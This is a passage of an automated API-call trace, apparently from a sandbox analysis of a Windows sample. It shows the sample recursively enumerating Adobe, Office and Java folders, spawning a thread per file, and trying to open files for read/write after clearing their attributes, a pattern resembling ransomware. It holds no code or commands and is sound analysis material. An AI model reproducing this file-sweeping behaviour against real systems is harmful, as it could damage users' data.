10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.055] wcscat (in: _Dest=0x935e98, _Source="SKY" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY" [0165.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c4 [0165.059] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0165.059] wcscmp (_String1="SLV", _String2=".") returned 1 [0165.059] wcscmp (_String1="SLV", _String2="..") returned 1 [0165.059] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x936090 [0165.059] wcscpy (in: _Dest=0x936090, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.059] wcscat (in: _Dest=0x936090, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.059] wcscat (in: _Dest=0x936090, _Source="SLV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV" [0165.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x936090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8 [0165.061] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0165.061] wcscmp (_String1="SUO", _String2=".") returned 1 [0165.061] wcscmp (_String1="SUO", _String2="..") returned 1 [0165.061] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x936e58 [0165.061] wcscpy (in: _Dest=0x936e58, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.061] wcscat (in: _Dest=0x936e58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.061] wcscat (in: _Dest=0x936e58, _Source="SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO" [0165.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x936e58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab8 [0165.540] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0165.541] wcscmp (_String1="SVE", _String2=".") returned 1 [0165.541] wcscmp (_String1="SVE", _String2="..") returned 1 [0165.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x935ad0 [0165.541] wcscpy (in: _Dest=0x935ad0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.541] wcscat (in: _Dest=0x935ad0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.541] wcscat (in: _Dest=0x935ad0, _Source="SVE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" [0165.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa4 [0165.542] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0165.542] wcscmp (_String1="TUR", _String2=".") returned 1 [0165.542] wcscmp (_String1="TUR", _String2="..") returned 1 [0165.542] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x934a68 [0165.542] wcscpy (in: _Dest=0x934a68, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.542] wcscat (in: _Dest=0x934a68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.542] wcscat (in: _Dest=0x934a68, _Source="TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" [0165.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x934a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb4 [0165.543] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0165.543] wcscmp (_String1="UKR", _String2=".") returned 1 [0165.543] wcscmp (_String1="UKR", _String2="..") returned 1 [0165.543] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x934918 [0165.543] wcscpy (in: _Dest=0x934918, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.543] wcscat (in: _Dest=0x934918, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.543] wcscat (in: _Dest=0x934918, _Source="UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" [0165.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x934918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda0 [0165.545] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0165.545] wcscmp (_String1="Words.pdf", _String2=".") returned 1 [0165.545] wcscmp (_String1="Words.pdf", _String2="..") returned 1 [0165.545] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xac) returned 0x8f4718 [0165.545] wcscpy (in: _Dest=0x8f4718, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.545] wcscat (in: _Dest=0x8f4718, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.545] wcscat (in: _Dest=0x8f4718, _Source="Words.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" [0165.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f4718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda4 [0165.546] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 0 [0166.068] FindClose (in: hFindFile=0x8d9cd0 | out: hFindFile=0x8d9cd0) returned 1 [0166.713] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92c4a0) returned 1 [0166.713] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935788) returned 1 [0166.713] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad168) returned 1 Thread: id = 5277 os_tid = 0xf98 [0164.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115844.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115844.gif")) returned 0x20 [0164.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115844.GIF", dwFileAttributes=0x20) returned 0 [0164.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115844.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115844.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.216] GetLastError () returned 0x5 [0164.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115844.GIF", dwFileAttributes=0x20) returned 0 [0164.217] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8d88) returned 1 Thread: id = 5278 os_tid = 0xf9c [0164.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115863.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115863.gif")) returned 0x20 [0164.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115863.GIF", dwFileAttributes=0x20) returned 0 [0164.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115863.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115863.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.218] GetLastError () returned 0x5 [0164.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115863.GIF", dwFileAttributes=0x20) returned 0 [0164.218] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940790) returned 1 Thread: id = 5279 os_tid = 0xfa0 [0164.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115864.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115864.gif")) returned 0x20 [0164.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115864.GIF", dwFileAttributes=0x20) returned 0 [0164.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115864.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115864.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.222] GetLastError () returned 0x5 [0164.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115864.GIF", dwFileAttributes=0x20) returned 0 [0164.222] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93fd78) returned 1 Thread: id = 5280 os_tid = 0xfa4 [0164.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115865.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115865.gif")) returned 0x20 [0164.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115865.GIF", dwFileAttributes=0x20) returned 0 [0164.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115865.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115865.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.224] GetLastError () returned 0x5 [0164.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115865.GIF", dwFileAttributes=0x20) returned 0 [0164.224] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9401a0) returned 1 Thread: id = 5281 os_tid = 0xfa8 [0164.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115866.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115866.gif")) returned 0x20 [0164.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115866.GIF", dwFileAttributes=0x20) returned 0 [0164.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115866.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115866.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.227] GetLastError () returned 0x5 [0164.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115866.GIF", dwFileAttributes=0x20) returned 0 [0164.227] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940498) returned 1 Thread: id = 5282 os_tid = 0xfac [0164.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115867.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115867.gif")) returned 0x20 [0164.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115867.GIF", dwFileAttributes=0x20) returned 0 [0164.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115867.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115867.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.228] GetLastError () returned 0x5 [0164.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115867.GIF", dwFileAttributes=0x20) returned 0 [0164.228] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940e18) returned 1 Thread: id = 5283 os_tid = 0xfb0 [0164.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115868.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115868.gif")) returned 0x20 [0164.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115868.GIF", dwFileAttributes=0x20) returned 0 [0164.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115868.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115868.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.230] GetLastError () returned 0x5 [0164.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115868.GIF", dwFileAttributes=0x20) returned 0 [0164.230] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941668) returned 1 Thread: id = 5284 os_tid = 0xfc0 [0164.231] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\users\\all users\\sun\\java\\java update\\jaureglist.xml")) returned 0x2020 [0164.231] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\jaureglist.xml", dwFileAttributes=0x20) returned 0 [0164.231] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\users\\all users\\sun\\java\\java update\\jaureglist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.231] GetLastError () returned 0x5 [0164.231] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\jaureglist.xml", dwFileAttributes=0x2020) returned 0 [0164.231] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93ca58) returned 1 Thread: id = 5285 os_tid = 0xfcc [0164.232] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f16e8 [0164.232] wcscpy (in: _Dest=0x8f16e8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0164.232] wcscat (in: _Dest=0x8f16e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0164.232] wcscat (in: _Dest=0x8f16e8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*" [0164.232] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92aa28 [0164.233] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*", lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9e90 [0164.469] wcscmp (_String1=".", _String2=".") returned 0 [0164.470] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.227] wcscmp (_String1="..", _String2=".") returned 1 [0165.227] wcscmp (_String1="..", _String2="..") returned 0 [0165.227] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Abidjan", cAlternateFileName="")) returned 1 [0165.227] wcscmp (_String1="Abidjan", _String2=".") returned 1 [0165.227] wcscmp (_String1="Abidjan", _String2="..") returned 1 [0165.227] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c0f8 [0165.227] wcscpy (in: _Dest=0x93c0f8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0165.227] wcscat (in: _Dest=0x93c0f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0165.227] wcscat (in: _Dest=0x93c0f8, _Source="Abidjan" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Abidjan") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Abidjan" [0167.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c0f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb00 [0167.171] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accra", cAlternateFileName="")) returned 1 [0167.171] wcscmp (_String1="Accra", _String2=".") returned 1 [0167.171] wcscmp (_String1="Accra", _String2="..") returned 1 [0167.171] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c710 [0167.172] wcscpy (in: _Dest=0x93c710, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.172] wcscat (in: _Dest=0x93c710, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.172] wcscat (in: _Dest=0x93c710, _Source="Accra" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Accra") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Accra" [0167.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c710, dwCreationFlags=0x0, 